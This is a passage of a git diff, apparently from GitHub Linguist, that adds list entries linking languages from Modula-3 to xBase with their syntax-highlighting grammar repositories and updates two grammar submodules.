+- **Modula-3:** [newgrammars/m3](https://github.com/newgrammars/m3)
+- **Mojo:** [modularml/mojo-syntax](https://github.com/modularml/mojo-syntax)
+- **Monkey:** [gingerbeardman/monkey.tmbundle](https://github.com/gingerbeardman/monkey.tmbundle)
+- **Monkey C:** [ghisguth/vscode-monkey-c](https://github.com/ghisguth/vscode-monkey-c)
+- **MoonScript:** [leafo/moonscript-tmbundle](https://github.com/leafo/moonscript-tmbundle)
+- **Motoko:** [dfinity/vscode-motoko](https://github.com/dfinity/vscode-motoko)
+- **Motorola 68K Assembly:** [zerkman/language-m68k](https://github.com/zerkman/language-m68k)
+- **Move:** [damirka/vscode-move-syntax](https://github.com/damirka/vscode-move-syntax)
+- **Muse:** [Alhadis/language-emacs-lisp](https://github.com/Alhadis/language-emacs-lisp)
+- **Mustache:** [textmate/php-smarty.tmbundle](https://github.com/textmate/php-smarty.tmbundle)
+- **NASL:** [tenable/sublimetext-nasl](https://github.com/tenable/sublimetext-nasl)
+- **NCL:** [rpavlick/language-ncl](https://github.com/rpavlick/language-ncl)
+- **NEON:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **NPM Config:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **NSIS:** [github-linguist/NSIS](https://github.com/github-linguist/NSIS)
+- **NWScript:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Nasal:** [BobDotCom/Nasal.tmbundle](https://github.com/BobDotCom/Nasal.tmbundle)
+- **Nearley:** [Hardmath123/sublime-nearley](https://github.com/Hardmath123/sublime-nearley)
+- **Nemerle:** [textmate/nemerle.tmbundle](https://github.com/textmate/nemerle.tmbundle)
+- **NetLinx:** [amclain/sublime-netlinx](https://github.com/amclain/sublime-netlinx)
+- **NetLinx+ERB:** [amclain/sublime-netlinx](https://github.com/amclain/sublime-netlinx)
+- **NetLogo:** [textmate/lisp.tmbundle](https://github.com/textmate/lisp.tmbundle)
+- **NewLisp:** [textmate/lisp.tmbundle](https://github.com/textmate/lisp.tmbundle)
+- **Nextflow:** [nextflow-io/atom-language-nextflow](https://github.com/nextflow-io/atom-language-nextflow)
+- **Nginx:** [brandonwamboldt/sublime-nginx](https://github.com/brandonwamboldt/sublime-nginx)
+- **Nim:** [nim-lang/NimLime](https://github.com/nim-lang/NimLime)
+- **Ninja:** [khyo/language-ninja](https://github.com/khyo/language-ninja)
+- **Nit:** [R4PaSs/Sublime-Nit](https://github.com/R4PaSs/Sublime-Nit)
+- **Nix:** [nix-community/tree-sitter-nix](https://github.com/nix-community/tree-sitter-nix) 🐌
+- **Noir:** [noir-lang/vscode-noir](https://github.com/noir-lang/vscode-noir)
+- **Nu:** [jsallis/nu.tmbundle](https://github.com/jsallis/nu.tmbundle)
+- **Nunjucks:** [alohaas/language-nunjucks](https://github.com/alohaas/language-nunjucks)
+- **Nushell:** [hustcer/nu-grammar](https://github.com/hustcer/nu-grammar)
+- **OASv2-json:** [Nixinova/NovaGrammars](https://github.com/Nixinova/NovaGrammars)
+- **OASv2-yaml:** [atom/language-yaml](https://github.com/atom/language-yaml)
+- **OASv3-json:** [Nixinova/NovaGrammars](https://github.com/Nixinova/NovaGrammars)
+- **OASv3-yaml:** [atom/language-yaml](https://github.com/atom/language-yaml)
+- **OCaml:** [textmate/ocaml.tmbundle](https://github.com/textmate/ocaml.tmbundle)
+- **Oberon:** [harogaston/Sublime-Modula-2](https://github.com/harogaston/Sublime-Modula-2)
+- **ObjDump:** [nanoant/assembly.tmbundle](https://github.com/nanoant/assembly.tmbundle)
+- **Object Data Instance Notation:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **ObjectScript:** [intersystems-community/ObjectScript.tmBundle](https://github.com/intersystems-community/ObjectScript.tmBundle)
+- **Objective-C:** [textmate/objective-c.tmbundle](https://github.com/textmate/objective-c.tmbundle)
+- **Objective-C++:** [textmate/objective-c.tmbundle](https://github.com/textmate/objective-c.tmbundle)
+- **Objective-J:** [textmate/javascript-objective-j.tmbundle](https://github.com/textmate/javascript-objective-j.tmbundle)
+- **Odin:** [odin-lang/sublime-odin](https://github.com/odin-lang/sublime-odin)
+- **Opa:** [mads379/opa.tmbundle](https://github.com/mads379/opa.tmbundle)
+- **Opal:** [artifactz/sublime-opal](https://github.com/artifactz/sublime-opal)
+- **Open Policy Agent:** [open-policy-agent/vscode-opa](https://github.com/open-policy-agent/vscode-opa)
+- **OpenCL:** [textmate/c.tmbundle](https://github.com/textmate/c.tmbundle)
+- **OpenEdge ABL:** [chriscamicas/abl-tmlanguage](https://github.com/chriscamicas/abl-tmlanguage)
+- **OpenQASM:** [tareqdandachi/language-qasm](https://github.com/tareqdandachi/language-qasm)
+- **OpenRC runscript:** [atom/language-shellscript](https://github.com/atom/language-shellscript)
+- **OpenSCAD:** [tbuser/openscad.tmbundle](https://github.com/tbuser/openscad.tmbundle)
+- **OpenStep Property List:** [atom/language-property-list](https://github.com/atom/language-property-list)
+- **OpenType Feature File:** [Alhadis/language-fontforge](https://github.com/Alhadis/language-fontforge)
+- **Option List:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Ox:** [andreashetland/sublime-text-ox](https://github.com/andreashetland/sublime-text-ox)
+- **Oz:** [eregon/oz-tmbundle](https://github.com/eregon/oz-tmbundle)
+- **P4:** [TakeshiTseng/atom-language-p4](https://github.com/TakeshiTseng/atom-language-p4)
+- **PDDL:** [jan-dolejsi/vscode-pddl](https://github.com/jan-dolejsi/vscode-pddl)
+- **PEG.js:** [peggyjs/code-peggy-language](https://github.com/peggyjs/code-peggy-language)
+- **PHP:** [tree-sitter/tree-sitter-php](https://github.com/tree-sitter/tree-sitter-php) 🐌
+- **PLpgSQL:** [textmate/sql.tmbundle](https://github.com/textmate/sql.tmbundle)
+- **POV-Ray SDL:** [c-lipka/language-povray](https://github.com/c-lipka/language-povray)
+- **Pact:** [kadena-io/pact-atom](https://github.com/kadena-io/pact-atom)
+- **Pan:** [quattor/language-pan](https://github.com/quattor/language-pan)
+- **Papyrus:** [Kapiainen/SublimePapyrus](https://github.com/Kapiainen/SublimePapyrus)
+- **Parrot Internal Representation:** [textmate/parrot.tmbundle](https://github.com/textmate/parrot.tmbundle)
+- **Pascal:** [textmate/pascal.tmbundle](https://github.com/textmate/pascal.tmbundle)
+- **Pawn:** [Southclaw/pawn-sublime-language](https://github.com/Southclaw/pawn-sublime-language)
+- **Pep8:** [R4PaSs/Sublime-Pep8](https://github.com/R4PaSs/Sublime-Pep8)
+- **Perl:** [textmate/perl.tmbundle](https://github.com/textmate/perl.tmbundle)
+- **Pic:** [Alhadis/language-roff](https://github.com/Alhadis/language-roff)
+- **PicoLisp:** [textmate/lisp.tmbundle](https://github.com/textmate/lisp.tmbundle)
+- **PigLatin:** [goblindegook/sublime-text-pig-latin](https://github.com/goblindegook/sublime-text-pig-latin)
+- **Pike:** [hww3/pike-textmate](https://github.com/hww3/pike-textmate)
+- **Pip Requirements:** [microsoft/vscode-python](https://github.com/microsoft/vscode-python)
+- **Pkl:** [apple/pkl.tmbundle](https://github.com/apple/pkl.tmbundle)
+- **PlantUML:** [qjebbs/vscode-plantuml](https://github.com/qjebbs/vscode-plantuml)
+- **Pod 6:** [perl6/atom-language-perl6](https://github.com/perl6/atom-language-perl6)
+- **PogoScript:** [featurist/PogoScript.tmbundle](https://github.com/featurist/PogoScript.tmbundle)
+- **Polar:** [osohq/polar-grammar](https://github.com/osohq/polar-grammar)
+- **Pony:** [CausalityLtd/sublime-pony](https://github.com/CausalityLtd/sublime-pony)
+- **Portugol:** [luisgbr1el/portugol-grammar](https://github.com/luisgbr1el/portugol-grammar)
+- **PostCSS:** [hudochenkov/Syntax-highlighting-for-PostCSS](https://github.com/hudochenkov/Syntax-highlighting-for-PostCSS)
+- **PostScript:** [Alhadis/Atom-PostScript](https://github.com/Alhadis/Atom-PostScript)
+- **PowerBuilder:** [micha4w/PowerBuilder.tmbundle](https://github.com/micha4w/PowerBuilder.tmbundle)
+- **PowerShell:** [PowerShell/EditorSyntax](https://github.com/PowerShell/EditorSyntax)
+- **Praat:** [orhunulusahin/praatvscode](https://github.com/orhunulusahin/praatvscode)
+- **Prisma:** [prisma/vscode-prisma](https://github.com/prisma/vscode-prisma)
+- **Processing:** [textmate/processing.tmbundle](https://github.com/textmate/processing.tmbundle)
+- **Procfile:** [benspaulding/vscode-procfile](https://github.com/benspaulding/vscode-procfile)
+- **Prolog:** [alnkpa/sublimeprolog](https://github.com/alnkpa/sublimeprolog)
+- **Promela:** [corbanmailloux/sublime-promela-spin](https://github.com/corbanmailloux/sublime-promela-spin)
+- **Propeller Spin:** [bitbased/sublime-spintools](https://github.com/bitbased/sublime-spintools)
+- **Protocol Buffer:** [zxh0/vscode-proto3](https://github.com/zxh0/vscode-proto3)
+- **Protocol Buffer Text Format:** [thejustinwalsh/textproto-grammar](https://github.com/thejustinwalsh/textproto-grammar)
+- **Pug:** [davidrios/jade-tmbundle](https://github.com/davidrios/jade-tmbundle)
+- **Puppet:** [russCloak/SublimePuppet](https://github.com/russCloak/SublimePuppet)
+- **PureScript:** [purescript-contrib/atom-language-purescript](https://github.com/purescript-contrib/atom-language-purescript)
+- **Pyret:** [samuela/language-pyret](https://github.com/samuela/language-pyret)
+- **Python:** [tree-sitter/tree-sitter-python](https://github.com/tree-sitter/tree-sitter-python) 🐌
+- **Python console:** [MagicStack/MagicPython](https://github.com/MagicStack/MagicPython)
+- **Python traceback:** [MagicStack/MagicPython](https://github.com/MagicStack/MagicPython)
+- **Q#:** [microsoft/qsharp](https://github.com/microsoft/qsharp)
+- **QML:** [skozlovf/Sublime-QML](https://github.com/skozlovf/Sublime-QML)
+- **QMake:** [textmate/cpp-qt.tmbundle](https://github.com/textmate/cpp-qt.tmbundle)
+- **Qt Script:** [atom/language-javascript](https://github.com/atom/language-javascript)
+- **Quake:** [newgrammars/quake](https://github.com/newgrammars/quake)
+- **R:** [textmate/r.tmbundle](https://github.com/textmate/r.tmbundle)
+- **RAML:** [atom/language-yaml](https://github.com/atom/language-yaml)
+- **RBS:** [soutaro/vscode-rbs-syntax](https://github.com/soutaro/vscode-rbs-syntax)
+- **RDoc:** [joshaven/RDoc.tmbundle](https://github.com/joshaven/RDoc.tmbundle)
+- **REALbasic:** [peters-ben-0007/VBDotNetSyntax](https://github.com/peters-ben-0007/VBDotNetSyntax)
+- **REXX:** [mblocker/rexx-sublime](https://github.com/mblocker/rexx-sublime)
+- **RMarkdown:** [wooorm/markdown-tm-language](https://github.com/wooorm/markdown-tm-language)
+- **RON:** [a5huynh/vscode-ron](https://github.com/a5huynh/vscode-ron)
+- **RPC:** [textmate/c.tmbundle](https://github.com/textmate/c.tmbundle)
+- **RPGLE:** [barrettotte/vscode-ibmi-languages](https://github.com/barrettotte/vscode-ibmi-languages)
+- **RPM Spec:** [waveclaw/language-rpm-spec](https://github.com/waveclaw/language-rpm-spec)
+- **RUNOFF:** [Alhadis/language-roff](https://github.com/Alhadis/language-roff)
+- **Racket:** [soegaard/racket-highlight-for-github](https://github.com/soegaard/racket-highlight-for-github)
+- **Raku:** [perl6/atom-language-perl6](https://github.com/perl6/atom-language-perl6)
+- **Rascal:** [usethesource/rascal-syntax-highlighting](https://github.com/usethesource/rascal-syntax-highlighting)
+- **ReScript:** [rescript-lang/rescript-vscode](https://github.com/rescript-lang/rescript-vscode)
+- **Readline Config:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Reason:** [reasonml-editor/language-reason](https://github.com/reasonml-editor/language-reason)
+- **ReasonLIGO:** [pewulfman/Ligo-grammar](https://github.com/pewulfman/Ligo-grammar)
+- **Rebol:** [Oldes/Sublime-REBOL](https://github.com/Oldes/Sublime-REBOL)
+- **Record Jar:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Red:** [Oldes/Sublime-Red](https://github.com/Oldes/Sublime-Red)
+- **Redirect Rules:** [Nixinova/NovaGrammars](https://github.com/Nixinova/NovaGrammars)
+- **Regular Expression:** [tree-sitter/tree-sitter-regex](https://github.com/tree-sitter/tree-sitter-regex) 🐌
+- **Ren'Py:** [williamd1k0/language-renpy](https://github.com/williamd1k0/language-renpy)
+- **Rez:** [textmate/rez.tmbundle](https://github.com/textmate/rez.tmbundle)
+- **Rich Text Format:** [nwhetsell/language-rtf](https://github.com/nwhetsell/language-rtf)
+- **Ring:** [MahmoudFayed/atom-language-ring](https://github.com/MahmoudFayed/atom-language-ring)
+- **Riot:** [riot/syntax-highlight](https://github.com/riot/syntax-highlight)
+- **RobotFramework:** [shellderp/sublime-robot-plugin](https://github.com/shellderp/sublime-robot-plugin)
+- **Roc:** [ivan-demchenko/roc-vscode-unofficial](https://github.com/ivan-demchenko/roc-vscode-unofficial)
+- **Roff:** [Alhadis/language-roff](https://github.com/Alhadis/language-roff)
+- **Roff Manpage:** [Alhadis/language-roff](https://github.com/Alhadis/language-roff)
+- **Rouge:** [atom/language-clojure](https://github.com/atom/language-clojure)
+- **Ruby:** [tree-sitter/tree-sitter-ruby](https://github.com/tree-sitter/tree-sitter-ruby) 🐌
+- **Rust:** [tree-sitter/tree-sitter-rust](https://github.com/tree-sitter/tree-sitter-rust) 🐌
+- **SAS:** [rpardee/sas.tmbundle](https://github.com/rpardee/sas.tmbundle)
+- **SCSS:** [atom/language-sass](https://github.com/atom/language-sass)
+- **SELinux Policy:** [google/selinux-policy-languages](https://github.com/google/selinux-policy-languages)
+- **SMT:** [SRI-CSL/SMT.tmbundle](https://github.com/SRI-CSL/SMT.tmbundle)
+- **SPARQL:** [peta/turtle.tmbundle](https://github.com/peta/turtle.tmbundle)
+- **SQF:** [JonBons/Sublime-SQF-Language](https://github.com/JonBons/Sublime-SQF-Language)
+- **SQL:** [textmate/sql.tmbundle](https://github.com/textmate/sql.tmbundle)
+- **SQLPL:** [textmate/sql.tmbundle](https://github.com/textmate/sql.tmbundle)
+- **SRecode Template:** [textmate/lisp.tmbundle](https://github.com/textmate/lisp.tmbundle)
+- **SSH Config:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **STAR:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **STL:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **STON:** [tomas-stefano/smalltalk-tmbundle](https://github.com/tomas-stefano/smalltalk-tmbundle)
+- **SVG:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **SWIG:** [textmate/c.tmbundle](https://github.com/textmate/c.tmbundle)
+- **Sage:** [MagicStack/MagicPython](https://github.com/MagicStack/MagicPython)
+- **SaltStack:** [saltstack/atom-salt](https://github.com/saltstack/atom-salt)
+- **Sass:** [atom/language-sass](https://github.com/atom/language-sass)
+- **Scala:** [scala/vscode-scala-syntax](https://github.com/scala/vscode-scala-syntax)
+- **Scaml:** [scalate/Scalate.tmbundle](https://github.com/scalate/Scalate.tmbundle)
+- **Scenic:** [UCSCFormalMethods/Scenic-tmLanguage](https://github.com/UCSCFormalMethods/Scenic-tmLanguage)
+- **Scheme:** [sicp-lang/scheme.tmbundle](https://github.com/sicp-lang/scheme.tmbundle)
+- **Scilab:** [textmate/scilab.tmbundle](https://github.com/textmate/scilab.tmbundle)
+- **ShaderLab:** [tgjones/shaders-tmLanguage](https://github.com/tgjones/shaders-tmLanguage)
+- **Shell:** [atom/language-shellscript](https://github.com/atom/language-shellscript)
+- **ShellCheck Config:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **ShellSession:** [atom/language-shellscript](https://github.com/atom/language-shellscript)
+- **Shen:** [rkoeninger/sublime-shen](https://github.com/rkoeninger/sublime-shen)
+- **Sieve:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Simple File Verification:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Singularity:** [onnovalkering/vscode-singularity](https://github.com/onnovalkering/vscode-singularity)
+- **Slash:** [slash-lang/Slash.tmbundle](https://github.com/slash-lang/Slash.tmbundle)
+- **Slice:** [zeroc-ice/vscode-slice](https://github.com/zeroc-ice/vscode-slice)
+- **Slim:** [slim-template/ruby-slim.tmbundle](https://github.com/slim-template/ruby-slim.tmbundle)
+- **Slint:** [slint-ui/slint-tmLanguage](https://github.com/slint-ui/slint-tmLanguage)
+- **SmPL:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Smali:** [ShaneWilton/sublime-smali](https://github.com/ShaneWilton/sublime-smali)
+- **Smalltalk:** [tomas-stefano/smalltalk-tmbundle](https://github.com/tomas-stefano/smalltalk-tmbundle)
+- **Smarty:** [textmate/php-smarty.tmbundle](https://github.com/textmate/php-smarty.tmbundle)
+- **Smithy:** [awslabs/smithy-vscode](https://github.com/awslabs/smithy-vscode)
+- **Snakemake:** [MagicStack/MagicPython](https://github.com/MagicStack/MagicPython)
+- **Solidity:** [davidhq/SublimeEthereum](https://github.com/davidhq/SublimeEthereum)
+- **Soong:** [flimberger/android-system-tools](https://github.com/flimberger/android-system-tools)
+- **SourcePawn:** [Sarrus1/sourcepawn-vscode](https://github.com/Sarrus1/sourcepawn-vscode)
+- **Spline Font Database:** [Alhadis/language-fontforge](https://github.com/Alhadis/language-fontforge)
+- **Squirrel:** [mathewmariani/squirrel-language](https://github.com/mathewmariani/squirrel-language)
+- **Stan:** [stan-dev/atom-language-stan](https://github.com/stan-dev/atom-language-stan)
+- **Standard ML:** [textmate/standard-ml.tmbundle](https://github.com/textmate/standard-ml.tmbundle)
+- **Starlark:** [MagicStack/MagicPython](https://github.com/MagicStack/MagicPython)
+- **Stata:** [pschumm/Stata.tmbundle](https://github.com/pschumm/Stata.tmbundle)
+- **StringTemplate:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Stylus:** [billymoon/Stylus](https://github.com/billymoon/Stylus)
+- **SubRip Text:** [Alhadis/language-subtitles](https://github.com/Alhadis/language-subtitles)
+- **SugarSS:** [hudochenkov/Syntax-highlighting-for-PostCSS](https://github.com/hudochenkov/Syntax-highlighting-for-PostCSS)
+- **SuperCollider:** [supercollider/language-supercollider](https://github.com/supercollider/language-supercollider)
+- **Svelte:** [sebastinez/svelte-atom](https://github.com/sebastinez/svelte-atom)
+- **Sway:** [FuelLabs/sway-vscode-plugin](https://github.com/FuelLabs/sway-vscode-plugin)
+- **Sweave:** [textmate/sweave.tmbundle](https://github.com/textmate/sweave.tmbundle)
+- **Swift:** [alex-pinkus/tree-sitter-swift](https://github.com/alex-pinkus/tree-sitter-swift) 🐌
+- **SystemVerilog:** [TheClams/SystemVerilog](https://github.com/TheClams/SystemVerilog)
+- **TI Program:** [TIny-Hacker/language-ti-basic](https://github.com/TIny-Hacker/language-ti-basic)
+- **TL-Verilog:** [adamint/tlv-vscode](https://github.com/adamint/tlv-vscode)
+- **TLA:** [tlaplus-community/tree-sitter-tlaplus](https://github.com/tlaplus-community/tree-sitter-tlaplus) 🐌
+- **TOML:** [textmate/toml.tmbundle](https://github.com/textmate/toml.tmbundle)
+- **TSQL:** [beau-witter/language-tsql](https://github.com/beau-witter/language-tsql)
+- **TSV:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **TSX:** [Microsoft/TypeScript-TmLanguage](https://github.com/Microsoft/TypeScript-TmLanguage)
+- **TXL:** [MikeHoffert/Sublime-Text-TXL-syntax](https://github.com/MikeHoffert/Sublime-Text-TXL-syntax)
+- **Talon:** [mrob95/vscode-TalonScript](https://github.com/mrob95/vscode-TalonScript)
+- **Tcl:** [textmate/tcl.tmbundle](https://github.com/textmate/tcl.tmbundle)
+- **Tcsh:** [atom/language-shellscript](https://github.com/atom/language-shellscript)
+- **TeX:** [textmate/latex.tmbundle](https://github.com/textmate/latex.tmbundle)
+- **Tea:** [pferruggiaro/sublime-tea](https://github.com/pferruggiaro/sublime-tea)
+- **Terra:** [pyk/sublime-terra](https://github.com/pyk/sublime-terra)
+- **Terraform Template:** [hashicorp/syntax](https://github.com/hashicorp/syntax)
+- **Texinfo:** [Alhadis/language-texinfo](https://github.com/Alhadis/language-texinfo)
+- **TextGrid:** [orhunulusahin/praatvscode](https://github.com/orhunulusahin/praatvscode)
+- **TextMate Properties:** [textmate/textmate.tmbundle](https://github.com/textmate/textmate.tmbundle)
+- **Thrift:** [textmate/thrift.tmbundle](https://github.com/textmate/thrift.tmbundle)
+- **Toit:** [toitware/ide-tools](https://github.com/toitware/ide-tools)
+- **Turing:** [Alhadis/language-turing](https://github.com/Alhadis/language-turing)
+- **Turtle:** [peta/turtle.tmbundle](https://github.com/peta/turtle.tmbundle)
+- **Twig:** [Anomareh/PHP-Twig.tmbundle](https://github.com/Anomareh/PHP-Twig.tmbundle)
+- **Type Language:** [goodmind/language-typelanguage](https://github.com/goodmind/language-typelanguage)
+- **TypeScript:** [tree-sitter/tree-sitter-typescript](https://github.com/tree-sitter/tree-sitter-typescript) 🐌
+- **Typst:** [michidk/typst-grammar](https://github.com/michidk/typst-grammar)
+- **Unified Parallel C:** [textmate/c.tmbundle](https://github.com/textmate/c.tmbundle)
+- **Unity3D Asset:** [atom/language-yaml](https://github.com/atom/language-yaml)
+- **Unix Assembly:** [calculuswhiz/Assembly-Syntax-Definition](https://github.com/calculuswhiz/Assembly-Syntax-Definition)
+- **Uno:** [dotnet/csharp-tmLanguage](https://github.com/dotnet/csharp-tmLanguage)
+- **UnrealScript:** [textmate/java.tmbundle](https://github.com/textmate/java.tmbundle)
+- **UrWeb:** [gwalborn/UrWeb-Language-Definition](https://github.com/gwalborn/UrWeb-Language-Definition)
+- **V:** [0x9ef/vscode-vlang](https://github.com/0x9ef/vscode-vlang)
+- **VBA:** [serkonda7/vscode-vba](https://github.com/serkonda7/vscode-vba)
+- **VBScript:** [peters-ben-0007/VBDotNetSyntax](https://github.com/peters-ben-0007/VBDotNetSyntax)
+- **VCL:** [brandonwamboldt/sublime-varnish](https://github.com/brandonwamboldt/sublime-varnish)
+- **VHDL:** [textmate/vhdl.tmbundle](https://github.com/textmate/vhdl.tmbundle)
+- **Vala:** [technosophos/Vala-TMBundle](https://github.com/technosophos/Vala-TMBundle)
+- **Valve Data Format:** [Nixinova/NovaGrammars](https://github.com/Nixinova/NovaGrammars)
+- **Velocity Template Language:** [animecyc/AtomLanguageVelocity](https://github.com/animecyc/AtomLanguageVelocity)
+- **Verilog:** [textmate/verilog.tmbundle](https://github.com/textmate/verilog.tmbundle)
+- **Vim Help File:** [Alhadis/language-viml](https://github.com/Alhadis/language-viml)
+- **Vim Script:** [Alhadis/language-viml](https://github.com/Alhadis/language-viml)
+- **Vim Snippet:** [Alhadis/language-viml](https://github.com/Alhadis/language-viml)
+- **Visual Basic .NET:** [peters-ben-0007/VBDotNetSyntax](https://github.com/peters-ben-0007/VBDotNetSyntax)
+- **Visual Basic 6.0:** [serkonda7/vscode-vba](https://github.com/serkonda7/vscode-vba)
+- **Volt:** [textmate/d.tmbundle](https://github.com/textmate/d.tmbundle)
+- **Vue:** [vuejs/vue-syntax-highlight](https://github.com/vuejs/vue-syntax-highlight)
+- **Vyper:** [davidhq/SublimeEthereum](https://github.com/davidhq/SublimeEthereum)
+- **WDL:** [stjude-rust-labs/sprocket-vscode](https://github.com/stjude-rust-labs/sprocket-vscode)
+- **WGSL:** [wgsl-analyzer/wgsl-analyzer](https://github.com/wgsl-analyzer/wgsl-analyzer)
+- **Wavefront Material:** [Alhadis/language-wavefront](https://github.com/Alhadis/language-wavefront)
+- **Wavefront Object:** [Alhadis/language-wavefront](https://github.com/Alhadis/language-wavefront)
+- **Web Ontology Language:** [textmate/xml.tmbundle](https://github.com/textmate/xml.tmbundle)
+- **WebAssembly:** [Alhadis/language-webassembly](https://github.com/Alhadis/language-webassembly)
+- **WebAssembly Interface Type:** [bytecodealliance/vscode-wit](https://github.com/bytecodealliance/vscode-wit)
+- **WebIDL:** [andik/IDL-Syntax](https://github.com/andik/IDL-Syntax)
+- **WebVTT:** [Alhadis/language-subtitles](https://github.com/Alhadis/language-subtitles)
+- **Wget Config:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Whiley:** [Whiley/WhileySyntaxBundle](https://github.com/Whiley/WhileySyntaxBundle)
+- **Wikitext:** [textmate/mediawiki.tmbundle](https://github.com/textmate/mediawiki.tmbundle)
+- **Win32 Message File:** [Nixinova/NovaGrammars](https://github.com/Nixinova/NovaGrammars)
+- **Windows Registry Entries:** [bsara/language-reg](https://github.com/bsara/language-reg)
+- **Witcher Script:** [ADawesomeguy/witcherscript-grammar](https://github.com/ADawesomeguy/witcherscript-grammar)
+- **Wollok:** [uqbar-project/wollok-sublime](https://github.com/uqbar-project/wollok-sublime)
+- **World of Warcraft Addon Data:** [nebularg/language-toc-wow](https://github.com/nebularg/language-toc-wow)
+- **Wren:** [Nelarius/vscode-wren](https://github.com/Nelarius/vscode-wren)
+- **X BitMap:** [textmate/c.tmbundle](https://github.com/textmate/c.tmbundle)
+- **X Font Directory Index:** [Alhadis/language-fontforge](https://github.com/Alhadis/language-fontforge)
+- **X PixMap:** [textmate/c.tmbundle](https://github.com/textmate/c.tmbundle)
+- **X10:** [x10-lang/x10-highlighting](https://github.com/x10-lang/x10-highlighting)
+- **XC:** [graymalkin/xc.tmbundle](https://github.com/graymalkin/xc.tmbundle)
+- **XCompose:** [samcv/language-xcompose](https://github.com/samcv/language-xcompose)
+- **XML:** [textmate/xml.tmbundle](https://github.com/textmate/xml.tmbundle)
+- **XML Property List:** [atom/language-property-list](https://github.com/atom/language-property-list)
+- **XPages:** [textmate/xml.tmbundle](https://github.com/textmate/xml.tmbundle)
+- **XProc:** [textmate/xml.tmbundle](https://github.com/textmate/xml.tmbundle)
+- **XQuery:** [wcandillon/language-jsoniq](https://github.com/wcandillon/language-jsoniq)
+- **XS:** [textmate/c.tmbundle](https://github.com/textmate/c.tmbundle)
+- **XSLT:** [textmate/xml.tmbundle](https://github.com/textmate/xml.tmbundle)
+- **Xojo:** [jimmckay/XojoSyntaxTM](https://github.com/jimmckay/XojoSyntaxTM)
+- **Xonsh:** [MagicStack/MagicPython](https://github.com/MagicStack/MagicPython)
+- **Xtend:** [staltz/SublimeXtend](https://github.com/staltz/SublimeXtend)
+- **YAML:** [atom/language-yaml](https://github.com/atom/language-yaml)
+- **YANG:** [DzonyKalafut/language-yang](https://github.com/DzonyKalafut/language-yang)
+- **YARA:** [infosec-intern/vscode-yara](https://github.com/infosec-intern/vscode-yara)
+- **YASnippet:** [Alhadis/language-emacs-lisp](https://github.com/Alhadis/language-emacs-lisp)
+- **Yacc:** [Alhadis/language-grammars](https://github.com/Alhadis/language-grammars)
+- **Yul:** [davidhq/SublimeEthereum](https://github.com/davidhq/SublimeEthereum)
+- **ZAP:** [tclem/vscode-zil-language](https://github.com/tclem/vscode-zil-language)
+- **ZIL:** [tclem/vscode-zil-language](https://github.com/tclem/vscode-zil-language)
+- **Zeek:** [zeek/zeek-sublime](https://github.com/zeek/zeek-sublime)
+- **ZenScript:** [CraftTweaker/ZenScript-tmLanguage](https://github.com/CraftTweaker/ZenScript-tmLanguage)
+- **Zephir:** [phalcon/zephir-sublime](https://github.com/phalcon/zephir-sublime)
+- **Zig:** [ziglang/sublime-zig-language](https://github.com/ziglang/sublime-zig-language)
+- **cURL Config:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **crontab:** [textmate/cron.tmbundle](https://github.com/textmate/cron.tmbundle)
+- **desktop:** [Mailaender/desktop.tmbundle](https://github.com/Mailaender/desktop.tmbundle)
+- **dircolors:** [jolkdarr/language-dircolors](https://github.com/jolkdarr/language-dircolors)
+- **eC:** [ecere/ec.tmbundle](https://github.com/ecere/ec.tmbundle)
+- **edn:** [atom/language-clojure](https://github.com/atom/language-clojure)
+- **fish:** [l15n/fish-tmbundle](https://github.com/l15n/fish-tmbundle)
+- **hoon:** [pkova/hoon-grammar](https://github.com/pkova/hoon-grammar)
+- **iCalendar:** [kimsey0/iCalendar-sublime](https://github.com/kimsey0/iCalendar-sublime)
+- **jq:** [wader/language-jq](https://github.com/wader/language-jq)
+- **kvlang:** [p0lygun/kivy-language-grammer](https://github.com/p0lygun/kivy-language-grammer)
+- **mIRC Script:** [gen-angry/language-msl](https://github.com/gen-angry/language-msl)
+- **mcfunction:** [MinecraftCommands/syntax-mcfunction](https://github.com/MinecraftCommands/syntax-mcfunction)
+- **mupad:** [ccreutzig/sublime-MuPAD](https://github.com/ccreutzig/sublime-MuPAD)
+- **nanorc:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **nesC:** [cdwilson/nesC.tmbundle](https://github.com/cdwilson/nesC.tmbundle)
+- **ooc:** [nilium/ooc.tmbundle](https://github.com/nilium/ooc.tmbundle)
+- **q:** [komsit37/sublime-q](https://github.com/komsit37/sublime-q)
+- **reStructuredText:** [Lukasa/language-restructuredtext](https://github.com/Lukasa/language-restructuredtext)
+- **robots.txt:** [Nixinova/NovaGrammars](https://github.com/Nixinova/NovaGrammars)
+- **sed:** [Alhadis/language-sed](https://github.com/Alhadis/language-sed)
+- **templ:** [templ-go/templ-vscode](https://github.com/templ-go/templ-vscode)
+- **vCard:** [cstrachan88/vscode-vcard](https://github.com/cstrachan88/vscode-vcard)
+- **wisp:** [atom/language-clojure](https://github.com/atom/language-clojure)
+- **xBase:** [hernad/atom-language-harbour](https://github.com/hernad/atom-language-harbour)
diff --git a/vendor/grammars/AL b/vendor/grammars/AL
new file mode 160000
index 0000000000..53a70e59e4
--- /dev/null
+++ b/vendor/grammars/AL
@@ -0,0 +1 @@
+Subproject commit 53a70e59e40693501508b6c10654ebc4eb3ae21d
diff --git a/vendor/grammars/Agda.tmbundle b/vendor/grammars/Agda.tmbundle
deleted file mode 160000
index 68a218c489..0000000000
